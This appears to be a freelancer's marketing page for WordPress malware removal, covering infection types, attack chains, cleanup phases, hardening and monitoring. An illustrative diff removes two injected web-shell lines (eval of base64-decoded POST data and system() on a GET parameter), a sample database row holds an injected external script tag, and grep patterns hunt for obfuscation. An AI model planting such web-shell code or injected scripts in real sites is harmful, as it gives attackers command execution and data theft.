Free workshop
SEO in 90 minutes: audit your own website. Seats are limited.
SEO in 90 minutes: audit your own site.
D
H
M
S
Solution · WordPress malware removal

Hacked WordPress site? Get it clean, back online and locked down

I find every backdoor, remove the malware, clear Google and browser warnings, and close the hole it came through. You get a written report, not a guess.

Full file and database review
Google warnings removed
Entry point found and closed
Hardened and monitored after
sooraj@incident: ~/public_html
$
wp core verify-checksums
!
Warning: File should not exist: wp-includes/class-wp-tmp.php
!
Warning: File doesn't verify against checksum: wp-config.php
$
wp user list --role=administrator --fields=ID,user_login
1 owner_admin
!
7 wpadmin_support <- created 2 days ago
$
find wp-content/uploads -name "*.php"
!
wp-content/uploads/2024/03/cache.php
>
3 backdoors isolated. 41 files restored from checksums.
+
Site clean. Entry point closed. Hardening applied.
$
Illustrative output
Status: infected
Target: clean
eval(base64_decode)
web shell
SEO spam
redirect hack
crypto miner
card skimmer
backdoor
phishing page
rogue admin
blacklisted
eval(base64_decode)
web shell
SEO spam
redirect hack
crypto miner
card skimmer
backdoor
phishing page
rogue admin
blacklisted
// Threat files

The nine infections I meet most

Each one behaves differently. Knowing which one you have decides how I clean it.

Most hacked sites carry more than one. A redirect on the surface often sits on top of a backdoor underneath, so I look for the whole set.

Threat file

SEO spam injection

Severity
What it does

Adds thousands of spam pages (pharma, casino, replica goods) to your site.

How it hides

Shows spam only to Googlebot, so you see nothing wrong.

How I remove it

Remove injected files and rows, return 410 for spam URLs, resubmit the sitemap.

Threat file

Redirect malware

Severity
What it does

Sends visitors, often only from Google or mobile, to scam sites.

How it hides

Triggers by referrer, device or cookie, so you rarely see it.

How I remove it

Clean .htaccess, theme files, database scripts and CDN rules.

Threat file

Backdoors and web shells

Severity
What it does

Gives the attacker a secret way back in, even after a cleanup.

How it hides

Hides in uploads, mu-plugins or a fake core file name.

How I remove it

Match every file to official checksums. Remove stray PHP. Rotate all keys.

Threat file

Rogue admin users

Severity
What it does

Creates admin accounts so the attacker can log in like you.

How it hides

Uses names that look like plugins or support staff.

How I remove it

Audit users, sessions and roles. Remove the unknown. Force logout everywhere.

Threat file

Payment skimmers

Severity
What it does

Steals card data on WooCommerce checkout pages.

How it hides

Loads a tiny script from a lookalike domain.

How I remove it

Remove the script, inspect checkout templates, notify your payment provider.

Threat file

Phishing pages

Severity
What it does

Hosts fake bank or login pages inside your domain.

How it hides

Lives in a deep folder with a random name.

How I remove it

Find and delete the kit, then request review so warnings clear.

Threat file

Cryptominers

Severity
What it does

Uses your server to mine coins, so the site slows to a crawl.

How it hides

Hides as a cron job or a script in a common file.

How I remove it

Remove the job and payload, then check server load returns to normal.

Threat file

Malicious plugins and themes

Severity
What it does

Nulled or abandoned code that ships with malware built in.

How it hides

Looks like a normal plugin, often with free premium features.

How I remove it

Replace with official copies, or remove it. Never reinstall a nulled one.

Threat file

Spam mail relay

Severity
What it does

Sends spam from your server, so your email lands in junk.

How it hides

Runs quietly as a script that calls the mail function.

How I remove it

Remove the script, clean the mail queue, then fix SPF, DKIM and DMARC.

Scroll the threat files
// Attack chain

How one weak plugin becomes a blacklisted site

Every infection follows a path. Cleaning only the last step, the payload, lets the first four rebuild it.

Entry
The door

An outdated plugin, a weak password or a nulled theme lets the attacker in.

Foothold
The first file

A small script is uploaded. It can run commands on your server.

Persistence
The way back

Backdoors, rogue admins and cron jobs keep access alive after a clean-up.

Payload
The damage

Spam pages, redirects, skimmers or miners start doing the attacker’s work.

Impact
The fallout

Warnings, lost rankings, suspended hosting and lost trust.

Where I break the chain
I cut it at persistence and again at the door.

Removing the payload makes the warning disappear for a week. Removing the way back and the way in makes it stay gone.

// Entry points

Where the door was left open

Finding the entry point matters more than finding the malware. Without it, the next attack walks in through the same door.

Very common

Outdated or abandoned plugins

Known flaws are public. Bots scan for them all day.

Update, replace or remove. Delete anything unmaintained.
Very common

Nulled themes and plugins

Free copies of paid code often ship with a backdoor.

Use official copies only. Replace every nulled item.
Common

Weak or reused passwords

Leaked passwords get tried on every WordPress login.

Unique passwords, two-factor login and login limits.
Common

Hacked hosting account

A neighbour site or a cPanel login gives access to all.

Isolated accounts, rotated hosting credentials and SSH keys.
Common

Old PHP and WordPress core

Unpatched software leaves flaws that are easy to use.

Current PHP, security auto-updates and a tested rollback.
Occasional

Loose file permissions

Writable folders let a small script change everything.

Correct permissions and PHP blocked inside uploads.
Occasional

Exposed admin and XML-RPC

Open endpoints invite password guessing at scale.

Rate limits, firewall rules and XML-RPC off if unused.
Occasional

Third-party scripts

A compromised ad or widget script injects code into pages.

Audit every external script. Add a content security policy.
// First hour

What to do in the first 60 minutes

You can do the first four steps yourself right now. They protect the evidence and slow the damage while we plan the cleanup.

T+0 min

Stay calm. Do not delete files

Deleting in a hurry removes the evidence and can leave the backdoor behind. Take a screenshot of what you see.

T+10 min

Back up the infected site

Copy all files and the database as they are. This is your safety net and the proof of what happened.

T+20 min

Stop the damage

Put the site in maintenance mode or block it at the firewall so visitors stop seeing spam and warnings.

T+30 min

Change every password

Hosting, database, WordPress admins, FTP, SSH and email. Do it from a clean computer.

T+45 min

Read the logs

Access and error logs show which file was hit first and from where. This points to the entry.

T+60 min

Start the cleanup on a copy

Work on a staging copy first. Go live only after the site passes every check.

// Cleanup protocol

Eight phases. Evidence at every step

The same protocol runs on every site. Each phase produces something you can read, so the cleanup is never a black box.

Contain · Snapshot · Scan · Isolate · Remove · Rebuild · Verify · Harden

Contain

Block the attacker and freeze changes.
You get
A clean-state snapshot and a maintenance page.
Evidence
Access logs and a list of open sessions.

Snapshot

Copy the infected site as evidence.
You get
A full file and database backup, stored safely.
Evidence
Hashes of the copy, so it stays provable.

Scan

Compare every file to its official source.
You get
Checksum results for core, plugins and themes.
Evidence
A list of changed, extra and missing files.

Isolate

Separate the malware from the good code.
You get
Suspect files moved to quarantine, not deleted.
Evidence
A quarantine folder with original paths.

Remove

Delete injected code, files, users and rows.
You get
A clean file tree and a clean database.
Evidence
Before and after diffs of each change.

Rebuild

Reinstall core, plugins and themes from trusted sources.
You get
Fresh official copies, nothing nulled.
Evidence
A version list of everything installed.

Verify

Test the site as a visitor, a bot and an admin.
You get
Scans, header checks and a crawl of the live site.
Evidence
Clean scan results and the crawl log.

Harden

Close the entry point and add layers.
You get
Firewall, 2FA, permissions and monitoring.
Evidence
A hardening checklist, signed off.
// What I inspect

Every file that can hide something

Malware hides where you do not look. I compare each file to a trusted source and read what does not match.

functions.php · inspection
Explorer
▾
wp-content/
▾
mu-plugins/
·
object-cache-helper.php
▾
plugins/
▾
themes/
·
functions.php
▾
uploads/2024/03/
·
cache.php
▾
wp-includes/
·
class-wp-tmp.php
·
.htaccess
·
wp-config.php
·
index.php
wp-content/themes/…/functions.php
2 injected lines
1
<?php
2
// Theme functions
3
add_theme_support( "post-thumbnails" );
4
-
@eval( base64_decode( $_POST["x"] ) );
5
-
if ( isset( $_GET["cmd"] ) ) { system( $_GET["cmd"] ); }
6
function theme_setup() {
7
load_theme_textdomain( "theme" );
8
}
9
+
// clean: injected lines removed, file matches the official copy
● flagged file
Illustrative example, not a real client
Checksums
Core and plugin files are compared to the official release. Any difference gets read, not trusted.
Pattern search
I search for obfuscation such as base64, gzinflate and long encoded strings, then read the hits by hand.
Timestamps
Files changed on odd dates, or all at the same second, point to the moment of the attack.
Hidden places
mu-plugins, uploads, cache folders and fake core names. These are the favourite hiding spots.
What a database check looks like · illustrative
wp_users
3 rows shown
ID
user_login
user_email
role
1
owner_admin
owner@yourbrand.com
administrator
4
editor_priya
priya@yourbrand.com
editor
7
wpadmin_support
support@mail-relay.xyz
administrator
wp_options
4 rows shown
option_name
option_value (start)
siteurl
https://yourbrand.com
blogname
Your Brand
widget_text
<script src="//cdn-stat.example/x.js">
active_plugins
a:9:{i:0;s:19:"akismet/akismet.php"…
// Database

Malware does not only live in files

It also hides in posts, widgets, options and users. A file-only cleanup misses all of it and the site reinfects itself.

Unknown administrator and editor accounts
Script tags inside posts, widgets and options
Spam posts and pages added by the attacker
Changed site URL and redirect settings
Scheduled tasks (cron) that restore the malware
Leftover tables from removed or fake plugins
⚠ Not secure
yourbrand.com
Deceptive site ahead

Attackers on this site might trick you into installing software or sharing personal information such as passwords or card numbers.

Back to safety
Details
YOUR BRAND
Home
Services
Contact
Your site loads normally again.

No warning page. No redirects. Visitors, search engines and browsers see the real site.

Get in touch
Illustrative browser view. Use the tabs to compare.
// Warnings and blacklists

Clear the red warnings, for real

A clean site is not enough. Google, browsers and hosts keep their own flags until each one reviews the site.

Google Safe Browsing
Request a review in Search Console after the cleanup is verified. I write the review note.
Search Console security issues
Fix each listed URL, then submit one clear review request.
Browser warning pages
They clear after Google and the browser vendors re-check the site.
Hosting suspension
I send your host the report and ask for the account to be restored.
Antivirus and reputation lists
I check the main blocklists and file delisting requests where they exist.
Email reputation
I fix SPF, DKIM and DMARC so your mail stops landing in spam.

Review times depend on Google. Many requests clear within a few days, some take longer. I keep you updated until they do.

// Search recovery

Get your real pages back in Google

Hackers often fill your site with spam pages. Google indexes them, your brand name starts showing spam and real rankings fall.

Before · search for your brand
yourbrand.com › shop › watches-sale
Cheap Replica Watches Outlet 2025 | YourBrand
Buy cheap luxury watches online with free shipping. Best price guarantee…
yourbrand.com › wp-content › cache
Buy Generic Pills Online No Prescription
Order now. Discreet delivery worldwide. Limited stock…
yourbrand.com
Your Brand | Services
Real page, buried under spam results.
After · search for your brand
yourbrand.com
Your Brand | WordPress services and support
Clear description of what you do, with your real sitelinks.
yourbrand.com › about
About Your Brand
Your story, your team and how to get in touch.
yourbrand.com › contact
Contact Your Brand
Phone, email and a short form.
Illustrative · search impressions
Recovery

Remove spam URLs. Delete the injected pages and return 410 Gone so Google drops them faster.

Clean the sitemap. Only real pages stay. I submit the fresh sitemap.

Fix titles and snippets. Restore your real titles and descriptions where they were overwritten.

Watch indexing. I track Search Console weekly until spam URLs disappear and real ones return.

// Hardening

Lock every door the attacker used

Cleaning removes the infection. Hardening makes sure the same one cannot return. Every switch below is set before handover.

Server
6 of 6 on
Current PHP version
Web application firewall
Correct file permissions
PHP blocked in uploads
One isolated account per site
Daily offsite backups
WordPress
6 of 6 on
File editing disabled
Login attempts limited
XML-RPC off when unused
Unused plugins and themes removed
Security auto-updates on
Salts and keys rotated
Access
6 of 6 on
Two-factor login for admins
Unique strong passwords
Least-privilege roles
Stale users removed
SSH keys, not passwords
Admin area rate limited
All systems operational
Last 60 days
Illustrative status page
60 days ago
Today
Uptime check
Alerts me and you
Every minute
File change alerts
Any change to core files
Real time
Malware scan
Files and database
Daily
Blacklist check
Google and main blocklists
Daily
SSL certificate
Renewal and errors
Weekly
Backup restore test
Proof the backup works
Monthly
// After the cleanup

Keep it clean with quiet monitoring

Most reinfections happen in the first 30 days. Monitoring catches a change in minutes instead of weeks.

Daily
Scans, blacklist check and a backup check.
Weekly
Update review on staging, then live. Login and user audit.
Monthly
Security report, restore test and plugin review.
Quarterly
Full checksum audit and a hardening review.
ssh · incident toolkit
# verify core and plugin files against official checksums
$wp core verify-checksums
$wp plugin verify-checksums --all
# list administrators and when they were created
$wp user list --role=administrator --fields=ID,user_login,user_registered
# find PHP files changed in the last week
$find . -type f -name "*.php" -mtime -7
# hunt for obfuscated code
$grep -rIl --include="*.php" -E "eval\(|base64_decode|gzinflate" wp-content
# PHP should never live in uploads
$find wp-content/uploads -name "*.php"
# reinstall WordPress core from the official source
$wp core download --force --skip-content
// Toolkit

Real commands. Real checks

These are the checks I run on every site. Nothing here is magic. It is careful work with the right tools.

Scanners and checks
WP-CLI
ClamAV
Linux Malware Detect
Imunify
Wordfence CLI
Sucuri SiteCheck
VirusTotal
Search and reputation
Search Console
Safe Browsing report
Bing Webmaster Tools
Servers and edge
cPanel and Plesk
SSH and SFTP
AWS and VPS
Cloudflare
Git
// Compare approaches

A plugin scan is not a cleanup

Scanners are useful, but they only report what they recognise. Here is how the three common approaches differ.

Plugin scan only
Automatic, surface level
Quick cleanup
Remove what is visible
Full forensic cleanup
My method
Finds visible malware
✓
Yes
✓
Yes
✓
Yes
Finds backdoors and persistence
–
No
~
Partly
✓
Yes
Reviews the database
–
No
~
Partly
✓
Yes
Finds the entry point
–
No
–
No
✓
Yes
Removes Google and browser warnings
–
No
~
Partly
✓
Yes
Hardens the site
–
No
–
No
✓
Yes
Monitors after the cleanup
–
No
–
No
✓
Yes
Gives a written report
–
No
–
No
✓
Yes
// Deliverables

A written report you can keep

Every cleanup ends with a clear document. You can hand it to your host, your insurer or the next developer.

Incident report
What happened, when, and how it got in.
Cleaned and verified site
Matches official checksums, scans clean.
List of changes
Every file and row removed or restored.
Warning removal log
Each review request and its result.
Hardening checklist
Every protection added, signed off.
Monitoring set-up
Alerts, scans and backups running.
Plain-English advice
How to stay safe, in short steps.
30-day follow-up
A re-check after the first month.
INCIDENT REPORT
Illustrative sample
RESOLVED
Site
yourbrand.com · WordPress 6.x
Type
Redirect malware, SEO spam, rogue admin
Entry point
Outdated plugin with a public flaw
Persistence
2 backdoors in uploads and mu-plugins
Files changed
41 restored · 9 removed
Database
1 user removed · 3 options cleaned
Warnings
Google review submitted, cleared
Hardening
Firewall, 2FA, permissions, monitoring
// After the cleanup

What "clean" actually means

You can verify each of these yourself. I show you how, and the report proves it.

Before
After
Browser shows a red warning page
Site loads normally
Google says "This site may be hacked"
Clean listing with real titles
Unknown administrators exist
Only known staff, with 2FA
Extra and changed files everywhere
Files match official checksums
Login page open to bots
Rate limited and protected
No backup, or an untested one
Daily backups with a tested restore
// Honest scope

What I promise, and what nobody can

Anyone who promises more is guessing. These are the lines I hold.

I commit to
Find and remove every infection I can prove
Close the entry point, not only the symptom
Write down every change I make
Request every warning removal and follow it through
Tell you plainly if a rebuild is the safer choice
Nobody can promise
That you will never be attacked again
That Google clears a warning on a fixed day
That a site with nulled plugins stays clean
Recovery of data that was never backed up
A clean result if you refuse to remove risky code
// Myths and facts

Six beliefs that keep sites infected

Short answers from real cleanups.

BUSTED
Myth
My host scans for malware, so I am safe.
Fact

Host scanners catch known signatures only. Custom backdoors pass through unseen.

BUSTED
Myth
I can see nothing wrong, so I am fine.
Fact

Most malware hides from the owner and shows only to search bots or visitors.

BUSTED
Myth
Deleting the spam page fixes it.
Fact

The backdoor that created it will make another. The source must go.

BUSTED
Myth
A security plugin cleans a hack for me.
Fact

Plugins help detect. Cleaning needs a person who reads the code.

BUSTED
Myth
Restoring a backup solves everything.
Fact

The backup may already carry the infection, and the entry point stays open.

BUSTED
Myth
Small sites are not targets.
Fact

Attacks are automated. Bots do not choose by size.

// Sites I handle

Every kind of WordPress site

The cleanup method stays the same. The details change with the site.

W

WooCommerce stores

Checkout skimmers, order data and payment trust.

M

Membership and course sites

User data, gated content and logins.

N

News and blogs

Spam posts, injected links and ad redirects.

B

Business sites

Brand trust, leads and local search.

E

Elementor and page-builder sites

Hidden code in templates and widgets.

M

Multisite networks

One flaw, many sites. I check each.

C

Custom-theme sites

Hand-written code that needs a careful read.

A

Agency client sites

Clear reports you can share with your client.

// Questions

Malware questions, answered plainly

Do not see yours? Send it. I read every message.

How do I know if my WordPress site is hacked?

Common signs are Google warnings, red browser pages, redirects to spam sites, unknown admin users, odd pages in search results, a suspended host account or sudden slowness. Many infections hide from the owner, so a proper scan is the only sure way.

Please do not. Deleting in a hurry removes evidence and often leaves the backdoor behind, so the site is infected again within days. Take a full backup first, change your passwords, then let the cleanup run on a copy.

Most sites take one to three days from the first look to a verified clean site. Large sites, WooCommerce stores and sites with several infections take longer. Warning removals then depend on Google’s review time.

Yes. I read access logs, compare file dates and check plugin versions to find the entry point. Without that step, the same hole stays open and the site is hacked again.

Yes. After the site is verified clean, I submit a review request in Search Console with a clear note. Google decides the timing. Many requests clear in a few days, but I cannot promise a date.

No. I clean the existing site and keep your content, design and URLs. If spam pages were indexed, I remove them so your real pages return to search results.

Usually not. I clean and rebuild core, plugins and themes from official sources. I only suggest a rebuild when the theme is heavily compromised or built on nulled code.

I work with your host, send them the report once the site is clean and ask them to restore it. If hosting is part of the problem, I explain safer options.

Nobody can promise it will not. I remove the entry point, add layers like a firewall, two-factor login and correct permissions, and set up monitoring. That makes a repeat far less likely and catches it fast if it happens.

Yes. I check checkout templates and payment scripts for skimmers, review order and customer data, and tell you what to report to your payment provider if card data was at risk.

I need access to the files, database and WordPress admin, usually through SFTP or SSH and a temporary admin user. I remove all access after the work and you can watch what I do.

A clean, verified site, a written incident report, a list of every change, hardening and monitoring set up, and a follow-up check after 30 days. The site, the accounts and the report all belong to you.

Seeing these signs?

Send me the details. I will take it from here

Tell me your site address and what you see. You get an honest first read within one business day, and a clear plan for the cleanup.

Your details stay private
I use them only to look at your site and reply.
No access needed yet
I start from what you tell me. I ask for access only when you agree.
A real person replies
I read every report myself, usually within one business day.
Start a conversation

Tell me what you are seeing

Describe the symptoms and your hosting. You will get an honest read and a clear next step within one business day.

Get in touch

Tell me who you are and what you need. I’ll follow up with a few questions.

Hacked? Report it
Incident report

Tell me what you are seeing

A few details are enough to start. I read every report myself.

Say hello · I reply personally

Tell me how I can help

1 · Details2 · Done

Message received

Thanks, there. I read every message myself and will reply to your inbox within one business day.